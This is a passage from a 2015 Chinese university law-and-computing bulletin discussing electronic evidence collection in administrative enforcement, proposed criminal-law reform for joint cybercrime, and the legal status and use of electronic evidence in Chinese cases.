59 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 文 件 清 除 历 史 记 录 对 文 件 加 密 等, 这 导 致 计 算 机 取 证 遇 到 一 定 困 难, 必 须 采 取 更 先 进 的 技 术 手 段 进 行 证 据 收 集 固 定, 比 如 使 用 专 用 的 电 子 取 证 设 备 对 硬 盘 内 存 的 数 据 进 行 备 份 固 定 分 析 等 电 子 证 据 固 定 工 商 执 法 常 用 的 固 定 电 子 证 据 的 方 式, 主 要 有 截 屏 打 印 拍 照 拷 贝 公 正 等 几 种 方 式, 并 通 常 需 要 结 合 采 用 公 证 在 条 件 允 许 的 情 况 下, 由 公 证 机 关 对 电 子 证 据 的 采 集 进 行 固 定 公 正 是 最 为 妥 善 的 方 式, 特 别 对 于 来 源 于 互 联 网 远 程 服 务 器 等 随 时 可 能 修 改 灭 失 的 证 据 截 屏 和 打 印 对 Office 文 档 Web 网 页 图 像 等 证 据, 可 以 在 检 查 现 场 通 过 截 屏 打 印 的 方 式 进 行 取 证, 并 按 照 提 取 书 证 的 方 法 予 以 保 管 固 定 拷 贝 对 于 数 据 量 比 较 庞 杂, 需 要 进 行 检 索 分 析 才 确 定 相 关 证 据 信 息 的, 或 信 息 量 较 大 的, 可 以 采 用 拷 贝 方 式 取 证, 将 计 算 机 文 件 拷 贝 到 光 盘 存 储 设 备 中, 然 后 进 行 证 据 收 集 拍 照 摄 像 一 方 面, 对 视 听 资 料 可 以 采 用 拍 照 摄 像 的 方 法 进 行 证 据 的 提 取 和 固 定 另 一 方 面, 在 计 算 机 取 证 的 全 程 进 行 拍 照 摄 像, 可 以 固 定 计 算 机 证 据 的 来 源 取 证 过 程 等, 保 证 证 据 的 合 法 性 可 靠 性 制 作 执 法 文 书 无 论 采 取 那 种 取 证 方 式, 在 固 定 证 据 后, 应 当 现 场 制 作 现 场 检 查 笔 录 等 执 法 文 书 检 查 笔 录 主 要 记 载 电 子 证 据 的 收 集 和 固 定 情 况, 并 由 行 政 相 对 人 签 字 确 认 借 助 某 些 专 业 的 电 子 证 据 取 证 借 助 某 些 专 业 的 电 子 证 据 取 证 设 备 或 软 件, 或 者 寻 求 中 立 的 第 三 方 提 供 的 电 子 证 据 固 定 采 集 的 相 关 专 业 技 术 服 务, 不 失 为 对 电 子 证 据 固 定 采 集 的 一 种 有 效 途 径, 并 有 助 于 提 高 相 关 电 子 证 据 的 证 明 力 当 前 执 法 实 践 中 存 在 的 问 题 取 证 制 度 尚 不 完 善 2011 年 国 家 工 商 总 局 出 台 关 于 工 商 行 政 管 理 机 关 电 子 数 据 证 据 取 证 工 作 的 指 导 意 见, 在 电 子 证 据 人 员 资 格 取 证 方 式 终 端 取 证 平 台 取 证 扣 押 等 方 面 作 了 初 略 规 定, 为 工 商 行 政 执 法 中 的 电 子 取 证 搭 建 了 基 本 框 架, 但 是 具 体 的 细 节 并 未 加 以 规 范, 取 证 人 员 实 际 操 作 时 随 意 性 仍 然 比 较 大, 造 成 行 政 执 法 电 子 证 据 安 全 性 证 明 力 的 下 降, 容 易 为 行 政 败 诉 埋 下 隐 患 装 备 落 后 限 制 深 度 运 用 电 子 证 据 基 层 工 商 执 法 机 构 没 有 配 备 专 业 的 电 子 取 证 工 具, 缺 乏 只 读 锁 硬 盘 复 制 机 专 业 取 证 软 件 系 统 等 专 用 软 硬 件 设 备 导 致 电 子 取 证 过 程 中, 无 法 满 足 严 格 的 不 损 害 源 数 据 原 则, 使 得 取 证 过 程 不 能 在 严 格 意 义 上 被 完 整 还 原 和 复 制, 影 响 了 电 子 数 据 的 证 明 力 同 时 由 于 缺 乏 专 业 设 备, 使 得 一 般 情 况 下 的 电 子 取 证 变 成 小 打 小 闹, 点 到 即 止, 不 能 充 分 发 挥 电 子 证 据 提 高 监 管 效 能 的 作 用, 有 效 打 击 违 法 行 为 专 业 水 平 不 足 导 致 无 法 娴 熟 运 用 电 子 证 据 工 商 执 法 娴 熟 运 用 电 子 证 据 首 先 面 临 的 问 题 是 人 才 高 门 槛 发 现 获 取 和 保 全 电 子 证 据 与 传 统 证 据 迥 然 不 同 对 于 行 政 执 法 中 的 电 子 取 证, 取 证 人 员 不 但 要 具 备 计 算 机 和 网 络 方 面 的 知 识, 同 时 还 必 须 熟 悉 电 子 证 据 的 收 集 审 查 出 示 和 认 定 的 各 阶 段 法 律 程 序, 只 有 这 样 的 复 合 型 人 才 才 能 全 面 胜 任 此 项 工 作 电 子 取 证 技 术 更 新 速 度 快 电 子 证 据 的 相 关 问 题 随 着 科 技 发 展 不 断 复 杂, 其 发 展 速 度 很 快, 不 断 出 现 新 情 况 新 问 题, 例 如 当 前 微 信 微 博 及 其 各 类 手 机 APP 的 出 现, 演 变 出 很 多 新 式 电 子 证 据 此 外, 办 案 人 员 的 电 子 资 料 分 析 能 力 也 亟 待 提 高, 面 对 海 量 数 据, 必 须 学 会 快 速 锁 定 和 鉴 别 有 效 证 据 资 料, 提 高 对 关 键 电 子 证 据 的 敏 感 度 执 法 成 本 和 风 险 较 高

60 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 电 子 证 据 委 托 采 集 和 分 析 的 直 接 成 本 高 当 执 法 人 员 的 能 力 水 平 不 足 或 由 于 设 备 限 制, 遇 到 复 杂 电 子 证 据 或 者 数 据 被 删 除 篡 改 等 情 况 时, 需 委 托 第 三 方 电 子 证 据 鉴 定 机 构 公 证 机 构 或 司 法 部 门 进 行 检 验 分 析, 将 产 生 额 外 的 高 额 费 用, 成 为 执 法 直 接 成 本 行 政 复 议 和 行 政 诉 讼 的 间 接 成 本 高 由 于 电 子 证 据 采 集 复 杂 以 及 程 序 不 规 范 造 成 取 证 漏 洞 和 证 明 力 受 质 疑, 当 行 政 诉 讼 发 生 时, 即 便 是 文 书 上 类 似 法 条 条 款 数 标 注 错 误 的 小 纰 漏 也 会 被 判 败 诉, 而 在 随 意 性 较 大 的 电 子 证 据 取 证 中 挑 刺 并 不 太 困 难, 因 此 败 诉 风 险 很 高 对 策 及 建 议 加 大 基 层 电 子 取 证 装 备 的 投 入 为 确 保 电 子 证 据 的 有 效 性, 提 高 案 件 查 办 效 能, 应 当 为 一 线 工 商 执 法 干 部 配 备 便 携 式 的 取 证 设 备, 并 逐 步 建 立 市 县 级 的 电 子 证 据 取 证 分 析 实 验 室 对 于 案 情 重 大 社 会 危 害 程 度 严 重, 确 需 委 托 第 三 方 电 子 证 据 鉴 定 机 构 公 证 机 构 或 司 法 部 门 进 行 检 验 分 析 的 案 件, 应 当 每 年 财 政 划 拨 类 似 食 品 质 量 检 测 的 电 子 取 证 专 项 资 金, 这 是 保 证 工 商 执 法 不 缺 位, 违 法 必 究 执 法 必 严 的 需 要 加 快 专 业 取 证 队 伍 建 设 建 立 定 期 培 训 制 度 计 算 机 网 络 违 法 经 营 的 手 段 作 案 工 具 的 技 术 含 量 不 断 提 高, 电 子 取 证 执 法 干 部 要 获 取 相 关 的 违 法 证 据, 有 效 地 收 集 证 据, 必 须 及 时 更 新 知 识, 同 时 有 必 要 进 行 犯 罪 学 侦 查 学 方 面 的 培 训, 提 高 分 析 证 据 等 能 力, 因 此 建 立 电 子 取 证 专 业 人 才 的 定 期 培 训 制 度 非 常 重 要, 在 专 业 培 训 上 试 图 一 劳 永 逸 不 现 实 建 立 专 业 队 伍 梯 队 把 工 商 执 法 干 部 人 人 培 养 成 电 子 取 证 专 家 难 以 实 现, 因 此 建 议 在 基 层 的 执 法 干 部 队 伍 中 形 成 至 少 两 个 人 才 层 次 : 第 一 层 次 是 基 础 普 及 型, 使 每 名 执 法 干 部 都 具 备 初 级 电 子 取 证 能 力, 能 掌 握 最 简 单 的 电 子 取 证 操 作 ; 第 二 层 次 是 取 证 能 手 型, 能 应 对 复 杂 多 变 情 况, 灵 活 运 用 各 种 手 段 和 信 息 技 术 开 展 电 子 取 证, 较 为 理 想 的 情 况 是 每 个 办 案 科 所 至 少 培 养 一 名 能 手 开 展 专 业 人 才 选 拔 和 能 手 评 比 开 展 各 级 电 子 取 证 能 手 的 评 比 活 动, 以 评 比 促 进 电 子 取 证 队 伍 的 专 业 技 能 和 战 斗 力 提 升, 鞭 策 年 轻 干 部 挖 掘 潜 力, 主 动 成 长 规 范 取 证 流 程 规 避 执 法 风 险 向 高 标 准 的 刑 事 取 证 看 齐 相 较 于 起 步 较 晚 的 行 政 处 罚 案 件 电 子 取 证, 刑 事 电 子 取 证 的 研 究 和 实 践 已 经 历 了 近 20 年 的 发 展, 日 臻 成 熟, 其 取 证 收 集 和 利 用 的 规 范 性 可 作 为 工 商 行 政 执 法 的 借 鉴 和 标 杆 虽 然 行 政 案 件 同 刑 事 案 件 的 违 法 程 度 和 危 害 程 度 有 所 区 别, 但 工 商 行 政 大 要 案 严 重 危 害 社 会 主 义 市 场 经 济 秩 序, 查 办 时 应 当 向 高 标 准 的 刑 事 电 子 取 证 流 程 和 规 范 看 齐 与 此 同 时, 工 商 干 部 在 电 子 证 据 收 集 和 利 用 的 时 候 必 须 遵 循 以 下 原 则 合 法 性 原 则 工 商 机 关 执 法 检 查, 合 法 是 第 一 前 提, 在 计 算 机 取 证 过 程 中, 必 须 保 证 证 据 是 真 实 准 确 完 整 符 合 法 律 法 规 的 由 于 目 前 国 家 对 计 算 机 证 据 的 法 律 定 位 操 作 程 序 适 用 性 等 没 有 权 威 统 一 的 法 律 规 范, 因 此 工 商 机 关 在 执 法 检 查 中, 必 须 结 合 现 有 传 统 的 取 证 手 段 对 计 算 机 证 据 作 进 一 步 的 固 定, 确 保 合 法 性 原 始 性 原 则 即 多 看 少 动 原 则 计 算 机 证 据 具 有 高 科 技 性 无 形 性 和 易 破 坏 性 等 特 点, 取 证 过 程 中 的 任 何 修 改 性 操 作 都 会 破 坏 证 据 存 在 的 原 始 状 态 比 如, 打 开 一 个 Office 文 档 就 会 更 改 最 新 访 问 时 间 属 性, 并 改 变 我 最 近 的 文 档 序 列 必 须 在 初 始 状 态 分 析 完 成 或 备 份 状 态 下 才 能 打 开 访 问 计 算 机 证 据 有 效 性 原 则 计 算 机 证 据 与 传 统 证 据 一 样, 必 须 确 保 有 效 性 证 据 有 效 是 保 证 工 商 行 政 机 关 执 法 权 威 和 效 率 的 前 提, 是 执 法 机 关 对 违 法 主 体 作 出 合 法 适 当 的 行 政 行 为 的 基 础 相 关 链 接 :

61 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 应 对 网 络 共 同 犯 罪 还 需 完 善 立 法 2015 年 10 月 12 日 08:29 来 源 : 检 察 日 报 在 后 工 业 时 代, 现 代 科 技 风 险 与 日 俱 增 网 络 技 术 的 高 速 发 展 不 仅 带 来 了 巨 大 的 社 会 福 利, 也 裹 挟 了 不 可 预 知 的 技 术 风 险 更 为 重 要 的 是, 互 联 网 时 代 的 步 步 紧 逼, 使 得 我 们 正 在 悄 然 经 历 一 场 声 势 浩 大 的 时 空 场 域 切 换, 并 同 时 对 现 实 物 理 社 会 形 态 产 生 了 强 烈 的 冲 击 效 应 简 言 之, 现 实 物 理 社 会 的 主 体 是 客 观 存 在 的 自 然 人 或 法 人 实 体, 具 有 固 定 的 时 空 存 在 区 域 和 行 为 轨 迹 的 可 追 索 性, 这 决 定 现 实 社 会 的 行 为 具 有 现 实 性 而 非 虚 拟 性, 同 时 决 定 共 同 行 为 具 有 可 认 知 和 可 捕 捉 的 社 会 联 络 性 与 共 同 意 志 性 但 是, 在 网 络 空 间, 虚 拟 性 是 最 大 的 场 域 特 征, 并 以 虚 拟 与 隐 匿 的 技 术 作 为 支 撑, 不 断 吞 噬 和 颠 覆 传 统 现 实 物 理 社 会 关 于 可 视 性 可 知 性 和 可 追 索 性 等 基 本 认 识 与 观 念, 使 得 网 络 危 害 行 为 发 生 了 许 多 变 化 这 在 共 同 犯 罪 问 题 上 体 现 得 尤 为 明 显 网 络 共 同 犯 罪 存 在 认 定 难 题 网 络 共 同 犯 罪 的 认 定 难 题 主 要 表 现 在 以 下 几 个 方 面 : 一 是 共 同 犯 罪 故 意 认 定 难 虚 拟 性 使 得 共 同 犯 罪 的 意 思 联 络 具 有 模 糊 性 隐 秘 性 不 确 定 性 变 动 性 与 多 样 性, 导 致 意 思 联 络 的 具 体 性 明 确 性 相 互 性 问 题 呈 现 出 弱 化 趋 势 如 认 识 内 容 不 充 分 的 意 思 联 络 网 络 片 面 共 犯 的 片 面 意 思 联 络 网 络 聚 众 犯 的 单 向 意 思 联 络 承 继 共 犯 的 后 发 意 思 联 络 等 突 出 情 形 相 继 出 现, 打 破 了 传 统 共 同 犯 罪 故 意 有 关 意 思 联 络 的 共 识 及 其 存 在 的 物 理 基 础 二 是 共 同 犯 罪 行 为 认 定 难 目 前, 网 络 空 间 的 虚 拟 性 使 得 网 络 共 同 犯 罪 行 为 或 实 行 行 为 具 有 显 著 的 分 工 的 随 机 性 参 与 的 聚 众 性 以 及 网 络 技 术 的 犯 罪 手 段 化 实 行 行 为 变 得 更 加 简 单 和 隐 秘, 组 织 行 为 可 能 实 质 上 呈 现 为 帮 助 行 为, 教 唆 行 为 与 帮 助 行 为 的 界 限 变 得 模 糊, 帮 助 行 为 呈 现 出 实 质 上 具 有 实 行 行 为 效 果 的 正 犯 化 趋 势 等 现 象 三 是 共 同 犯 罪 的 责 任 认 定 难 当 前, 在 认 定 网 络 共 同 犯 罪 的 具 体 责 任 人 时 面 临 一 些 困 难, 比 较 典 型 的 是 中 立 的 技 术 帮 助 行 为 是 否 构 成 ( 片 面 ) 帮 助 犯 网 络 预 备 行 为 是 否 构 成 独 立 的 实 质 预 备 犯 等 互 联 网 时 代 充 满 了 颠 覆 与 挑 战, 日 渐 捉 襟 见 肘 的 传 统 共 同 犯 罪 立 法 及 其 理 论 仅 仅 是 这 场 遭 遇 战 的 一 个 微 小 缩 影 网 络 共 同 犯 罪 对 传 统 理 论 与 立 法 提 出 挑 战 应 对 网 络 共 同 犯 罪 的 法 治 突 围 从 发 生 机 理 上 看, 互 联 网 的 技 术 性 与 虚 拟 性 彻 底 摧 毁 了 传 统 物 理 社 会 环 境 下 共 同 犯 罪 意 思 联 络 与 共 同 犯 罪 行 为 实 施 的 面 貌, 逼 迫 司 法 部 门 通 过 适 当 扩 大 解 释 的 方 式 缓 和 立 法 与 理 论 的 薄 弱 当 前, 共 犯 的 正 犯 化 路 径 已 经 在 理 论 界 获 得 广 泛 的 认 可, 并 在 立 法 层 面 取 得 了 突 破 性 进 展, 同 时 也 催 生 出 片 面 共 犯 预 备 行 为 实 行 化 以 及 中 立 帮 助 行 为 的 处 罚 化 等 应 对 路 径 这 一 切 都 使 得 因 应 网 络 共 同 犯 罪 问 题 的 路 径 充 满 了 大 量 的 新 鲜 元 素, 也 为 完 善 共 同 犯 罪 立 法 与 理 论 构 筑 了 基 础 首 先, 刑 法 总 则 第 二 章 第 三 节 共 同 犯 罪 应 当 增 加 有 关 网 络 共 同 犯 罪 的 提 示 性 规 定 网 络 环 境 对 共 同 犯 罪 的 冲 击 有 目 共 睹, 当 前 集 中 表 现 为 网 络 预 备 行 为 网 络 片 面 共 同 正 犯 网 络 片 面 教 唆 犯 网 络 片 面 帮 助 犯 ( 网 络 中 立 帮 助 行 为 ) 都 具 有 可 罚 性 而 且, 刑 法 修 正 案 ( 九 ) 增 加 的 第 287 条 之 一 和 第 287 条 之 二 分 别 对 网 络 预 备 行 为 以 及 网 络 片 面 帮 助 犯 的 刑 罚 作 出 规 定 在 此 情 况 下, 为 了 协 调 刑 法 总 则 与 分 则 的 一 致 性, 客 观 回 应 网 络 共 同 犯 罪 的 新 特 征 与 新 情 况, 建 议 对 刑 法 第 25 条 作 出 相 应 的 调 整 理 由 主 要 为 : 其 一, 第 25 条 属 于 共 同 犯 罪 概 念 处 罚 依 据 以 及 成 立 条 件 等 的 规 定, 第 26 条 至 第 29 条 属 于 对 主 犯 从 犯 胁 从 犯 教 唆 犯 的 规 定, 前 者 更 宜 整 体 上 接 纳 并 规 定 网 络 共 同 犯 罪 的 一 些 新 问 题

62 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 其 二, 虽 然 网 络 共 同 犯 罪 对 传 统 共 同 犯 罪 理 论 和 立 法 产 生 了 一 系 列 的 冲 击, 但 仍 处 于 形 成 过 程, 尤 其 是 理 论 准 备 尚 不 充 分, 立 法 修 改 的 讨 论 尚 不 够 成 熟, 修 改 的 整 体 方 案 也 未 成 型 所 以, 作 为 过 渡 时 期 的 调 整, 可 以 先 从 整 体 上 对 传 统 网 络 犯 罪 的 规 定 作 出 补 充 性 调 整, 而 不 宜 彻 底 颠 覆 传 统 理 论 和 立 法 规 定 其 三, 在 方 案 上, 可 以 对 第 25 条 作 出 增 加 一 个 第 三 款 的 修 改 : 网 络 空 间 下 的 共 同 犯 罪, 本 法 有 特 殊 规 定 的, 依 照 特 殊 规 定 处 理 这 样 修 改 源 于 两 个 方 面 原 因, 一 方 面, 网 络 共 同 犯 罪 和 传 统 共 同 犯 罪 存 在 共 性, 所 以, 暂 时 无 需 重 新 单 列 一 个 新 的 条 文, 可 以 在 第 25 条 的 基 础 上 进 行 微 调 性 修 改, 确 保 总 则 和 分 则 的 协 调, 同 时 发 挥 总 则 规 定 对 分 则 规 定 的 指 导 作 用 另 一 方 面, 网 络 共 同 犯 罪 是 新 生 事 物, 修 改 应 当 遵 循 循 序 渐 进 的 原 则, 尤 其 是 应 当 充 分 回 应 刑 法 修 正 案 ( 九 ) 的 特 殊 规 定, 同 时 也 为 新 出 现 的 不 确 定 情 况 留 下 必 要 的 缓 冲 余 地 其 次, 刑 法 修 正 案 ( 九 ) 增 加 了 第 287 条 之 一, 对 网 络 预 备 行 为 作 出 了 独 立 处 罚 的 规 定 在 立 法 体 例 上, 属 于 通 过 分 则 增 加 独 立 预 备 犯 的 情 形 尽 管 刑 法 第 22 条 规 定 的 预 备 犯 普 遍 处 罚 原 则 可 以 为 增 设 第 287 条 之 一 提 供 必 要 的 理 论 基 础, 不 过, 普 遍 处 罚 预 备 犯 的 立 法 模 式 与 国 外 通 行 的 例 外 处 罚 理 念 不 符 易 言 之, 尽 管 增 设 第 287 条 之 一 具 有 必 要 性 和 正 当 性, 但 是, 第 22 条 规 定 的 普 遍 处 罚 原 则 使 得 预 备 犯 的 处 罚 范 围 可 能 过 大 或 过 于 模 糊, 使 得 对 网 络 预 备 行 为 进 行 必 要 与 合 理 的 扩 张 处 罚 时 无 法 彻 底 摆 脱 合 法 性 的 包 袱 为 此, 应 当 对 第 22 条 作 出 修 改 总 体 思 路 为 : 取 消 第 22 条 规 定 的 普 遍 处 罚 原 则, 转 而 在 总 则 中 增 加 预 备 犯 的 处 罚, 本 法 有 规 定 的, 依 照 本 法 的 规 定 处 理 的 提 示 性 规 定, 用 于 指 导 分 则 的 独 立 预 备 犯 的 处 罚 问 题, 并 从 一 般 意 义 上 排 除 对 普 通 故 意 犯 罪 预 备 形 态 的 普 遍 处 罚 格 局 在 此 基 础 上, 可 以 根 据 实 际 需 要, 适 度 增 设 其 他 的 独 立 预 备 犯, 以 确 保 处 罚 的 前 置 化 和 预 防 的 早 期 化 应 对 网 络 共 同 犯 罪 还 需 完 善 立 法 ( 作 者 为 华 南 理 工 大 学 法 学 院 讲 师 ) 相 关 链 接 2015 年 8 月 29 日 颁 布 的 刑 法 修 正 案 ( 九 ) 第 29 条 规 定, 在 刑 法 第 287 条 后 增 加 二 条, 作 为 第 287 条 之 一 第 287 条 之 二 第 287 条 之 一 为 利 用 信 息 网 络 实 施 下 列 行 为 之 一, 情 节 严 重 的, 处 三 年 以 下 有 期 徒 刑 或 者 拘 役, 并 处 或 者 单 处 罚 金 :( 一 ) 设 立 用 于 实 施 诈 骗 传 授 犯 罪 方 法 制 作 或 者 销 售 违 禁 物 品 管 制 物 品 等 违 法 犯 罪 活 动 的 网 站 通 讯 群 组 的 ;( 二 ) 发 布 有 关 制 作 或 者 销 售 毒 品 枪 支 淫 秽 物 品 等 违 禁 物 品 管 制 物 品 或 者 其 他 违 法 犯 罪 信 息 的 ;( 三 ) 为 实 施 诈 骗 等 违 法 犯 罪 活 动 发 布 信 息 的 单 位 犯 前 款 罪 的, 对 单 位 判 处 罚 金, 并 对 其 直 接 负 责 的 主 管 人 员 和 其 他 直 接 责 任 人 员, 依 照 第 一 款 的 规 定 处 罚 有 前 两 款 行 为, 同 时 构 成 其 他 犯 罪 的, 依 照 处 罚 较 重 的 规 定 定 罪 处 罚 第 287 条 之 二 为 明 知 他 人 利 用 信 息 网 络 实 施 犯 罪, 为 其 犯 罪 提 供 互 联 网 接 入 服 务 器 托 管 网 络 存 储 通 讯 传 输 等 技 术 支 持, 或 者 提 供 广 告 推 广 支 付 结 算 等 帮 助, 情 节 严 重 的, 处 三 年 以 下 有 期 徒 刑 或 者 拘 役, 并 处 或 者 单 处 罚 金 单 位 犯 前 款 罪 的, 对 单 位 判 处 罚 金, 并 对 其 直 接 负 责 的 主 管 人 员 和 其 他 直 接 责 任 人 员, 依 照 第 一 款 的 规 定 处 罚 有 前 两 款 行 为, 同 时 构 成 其 他 犯 罪 的, 依 照 处 罚 较 重 的 规 定 定 罪 处 罚 相 关 链 接 : 我 国 的 电 子 证 据 应 用 现 状 时 间 :2015/10/29 12:25:49 来 源 : 中 国 厂 商 网 随 着 信 息 科 学 技 术 突 飞 猛 进 的 发 展, 当 今 社 会 快 速 步 入 信 息 时 代, 人 类 的 生 产 生 活 正 在 发 生 着 翻 天 覆 地 的 变 化, 各 类 信 息 产 品 深 入 人 们 生 活 的 每 个 角 落, 人 们 的 生 活 学 习 和 工 作 都 离 不 开 数 字 化 信 息 与 此 同 时, 在 各 类 型 的 犯 罪 案 件 中, 犯 罪 嫌 疑 人 经 常 会 用 到 信 息 化 设 备, 小 到 一 个 U 盘, 大 到 服 务 器 集 群 都 有 可 能 涉 及, 在 侦 破 这 类 案 件 时, 就 有 可 能 需 要 从 这 些 信 息 化 设 备 中 提 取 证 据, 这 也 就 是 人 们 常 说 的 电 子 证 据

63 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 目 前, 我 国 的 电 子 证 据 研 究 还 处 于 起 步 阶 段, 无 论 是 立 法 还 是 应 用 都 较 发 达 国 家 有 着 不 小 的 差 距 但 随 着 我 国 近 年 来 各 领 域 快 步 进 入 信 息 时 代, 在 各 类 案 件 中 电 子 证 据 的 出 现 频 率 将 大 幅 提 高, 这 就 给 我 国 的 法 律 人 提 出 了 更 大 的 挑 战 一 我 国 电 子 证 据 的 立 法 现 状 我 国 还 没 有 单 独 的 证 据 法, 当 然 也 就 更 无 从 谈 起 电 子 证 据 法 但 是, 在 2013 年 1 月 1 日 正 式 实 施 的 新 刑 诉 法 将 电 子 数 据 列 为 一 种 正 式 的 证 据 种 类, 与 传 统 的 物 证 书 证 享 有 同 样 的 法 律 地 位 这 是 我 国 法 律 中, 对 电 子 证 据 最 直 接 最 清 晰 的 表 述, 也 说 明 我 国 立 法 者 对 电 子 证 据 的 重 视 提 升 到 了 新 的 高 度 在 新 刑 诉 法 实 施 之 前, 其 实 我 国 也 有 部 分 法 律 或 多 或 少 或 直 接 或 隐 晦 的 提 及 过 电 子 证 据 例 如, 合 同 法 第 11 条 规 定 : 书 面 形 式 是 指 合 同 书 信 件 和 数 据 电 文 ( 包 括 电 报 电 传 传 真 电 子 数 据 交 换 和 电 子 邮 件 ) 等 可 以 有 形 地 表 现 所 载 内 容 的 形 式 1 很 显 然, 合 同 法 的 表 述 将 电 子 证 据 归 类 于 书 证 的 范 畴 再 如,2005 年 4 月 1 日 施 行 的 中 华 人 民 共 和 国 电 子 签 名 法 第 二 章 以 数 据 电 文 为 标 题, 并 通 过 第 四 条 : 能 够 有 型 的 表 现 所 载 内 容, 并 可 以 随 时 调 取 查 用 的 数 据 电 文, 视 为 符 合 法 律 法 规 要 求 的 书 面 形 式 和 第 七 条 : 数 据 电 文 不 得 仅 因 为 其 是 以 电 子 光 学 磁 或 者 类 似 手 段 生 成 发 送 接 收 或 者 储 存 的 而 被 拒 绝 作 为 证 据 使 用 展 现 了 数 据 电 文 的 证 据 地 位 二 我 国 电 子 证 据 的 应 用 现 状 ( 一 ) 我 国 的 电 子 证 据 类 型 过 去 通 常 是 以 电 话 通 话 详 单 录 音 录 像 传 真 电 子 邮 件 为 主 ; 然 而 近 几 年 随 着 各 类 型 网 络 应 用 的 快 速 发 展, 特 别 是 电 子 商 务 的 迅 猛 发 展, 电 子 证 据 的 类 型 也 扩 展 到 了 即 时 通 讯 工 具 的 聊 天 记 录 数 字 签 章 网 上 银 行 的 电 子 账 户 网 络 游 戏 中 的 装 备 等 等 在 未 来, 第 三 方 交 易 平 台 账 户 安 全 非 银 行 类 网 上 金 融 产 品 的 交 易 以 及 闪 付 手 机 身 份 认 证 交 易 等 应 用 将 像 当 年 的 网 上 购 物 一 样 迅 速 的 深 入 人 们 生 活 的 各 个 角 落, 与 此 同 时, 针 对 这 些 应 用 的 各 类 犯 罪 也 会 应 运 而 生, 这 就 给 司 法 工 作 人 员 提 出 了 更 高 的 要 求 ( 二 ) 我 国 应 用 电 子 证 据 的 案 件 类 型 1. 民 事 诉 讼 案 件 我 国 的 电 子 证 据 司 法 实 践, 目 前 还 是 更 多 的 集 中 在 民 商 法 领 域, 多 以 网 络 侵 权 案 件 体 现 互 联 网 的 发 展 给 人 们 带 来 了 诸 多 的 便 利, 特 别 是 查 询 资 料 时 不 用 再 奔 波 于 书 店 与 图 书 馆, 网 上 几 乎 可 以 查 到 我 们 需 要 的 所 有 资 料 在 一 些 网 络 共 享 平 台 宣 扬 着 我 为 人 人 人 人 为 我 精 神, 这 本 来 是 一 种 无 私 奉 献 的 精 神, 但 人 们 奉 献 的 具 体 是 自 己 的 劳 动 成 果 还 是 他 人 的 劳 动 成 果 就 无 人 监 管 了 2011 年 3 月 15 日, 贾 平 凹 刘 心 武 韩 寒 郭 敬 明 当 年 明 月 等 近 50 位 作 家 联 合 发 表 三 一 五 中 国 作 家 讨 百 度 书, 指 责 百 度 文 库 涉 嫌 严 重 侵 犯 著 作 权 由 于 与 百 度 谈 判 的 破 裂,2011 年 7 月, 由 韩 寒 李 承 鹏 等 10 位 作 家 出 版 商 联 合 发 起 的 作 家 维 权 联 盟 在 北 京 宣 布 成 立 随 后, 著 名 的 作 家 维 权 联 盟 诉 百 度 文 库 侵 权 案 拉 开 了 序 幕 在 该 案 件 中, 涉 及 的 主 要 证 据 均 需 在 百 度 服 务 器 终 端 计 算 机 等 电 子 设 备 上 提 取, 控 辩 双 方 运 用 数 据 库 记 录 数 据 信 息 比 对 结 果 浏 览 与 下 载 排 行 记 录 等 大 量 电 子 证 据 进 行 辩 论 因 此, 该 案 件 将 成 为 近 年 来 我 国 电 子 证 据 在 侵 权 案 件 中 应 用 的 重 要 范 例 2. 刑 事 诉 讼 案 件 在 刑 事 犯 罪 领 域, 电 子 证 据 的 运 用 也 逐 渐 增 多, 无 论 是 公 安 机 关 还 是 检 察 机 关, 在 案 件 侦 查 过 程 中, 都 越 来 越 重 视 电 子 证 据 的 收 集, 例 如 网 络 赌 博 色 情 网 站 案 件 中 对 服 务 器 和 数 据 库 信 息 的 提 取 ; 职 务 犯 罪 案 件 中 对 犯 罪 嫌 疑 人 通 讯 工 具 中 各 种 内 容 的 提 取 特 别 是 随 着 智 能 手 机 的 普 及, 以 前 需 要 计 算 机 完 成 的 工 作 现 在 已 经 可 以 由 手 机 替 代, 实 施 犯 罪 就 会 更 加 隐 蔽 2004 年, 轰 动 全 国 的 马 加 爵 故 意 杀 人 案, 侦 查 人 员 在 搜 查 马 加 爵 的 电 脑 时 发 现 其 已 对

64 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 电 脑 进 行 了 格 式 化 处 理, 电 脑 中 已 经 没 有 任 何 有 价 值 的 信 息, 随 后 经 技 术 人 员 的 数 据 恢 复, 侦 查 人 员 发 现 马 加 爵 在 实 施 犯 罪 前 一 直 在 查 询 三 亚 市 的 情 况, 包 括 交 通 住 宿 等, 由 此 断 定 其 很 有 可 能 逃 往 三 亚 马 加 爵 于 2004 年 3 月 15 日 晚 于 海 南 省 三 亚 市 河 西 区 落 网, 也 印 证 了 侦 查 人 员 的 推 断 该 案 件 侦 查 人 员 提 取 的 电 子 证 据 虽 然 没 有 直 接 用 于 马 加 爵 故 意 杀 人 事 实 的 认 定, 但 为 抓 捕 提 供 了 明 确 的 方 向, 可 以 说 是 电 子 证 据 在 刑 事 领 域 的 一 次 重 要 应 用 3. 行 政 领 域 案 件 在 百 姓 的 日 常 生 活 中, 接 触 到 行 政 诉 讼 行 政 复 议 类 的 案 件 并 不 多, 与 人 们 关 系 最 密 切 的 还 是 以 交 通 违 法 摄 录 为 代 表 的 行 政 处 罚 案 件 交 通 违 法 摄 录 就 是 交 管 部 门 利 用 安 装 在 道 路 上 的 高 清 抓 拍 机 对 超 速 不 按 规 定 行 驶 等 违 反 道 路 安 全 法 的 机 动 车 的 行 为 进 行 拍 照, 并 以 此 为 证 据 作 为 日 后 处 罚 的 依 据 很 显 然, 这 些 证 据 是 需 要 存 储 在 交 管 局 数 据 库 中 的, 是 一 种 不 折 不 扣 的 电 子 证 据 三 我 国 电 子 证 据 的 应 用 问 题 ( 一 ) 应 用 缺 乏 健 全 的 法 律 支 持 由 于 我 国 还 没 有 单 独 的 电 子 证 据 法, 在 传 统 的 诉 讼 法 中 也 只 是 概 括 性 的 承 认 了 电 子 证 据 是 一 种 正 式 的 证 据 种 类 而 随 着 科 学 技 术 对 当 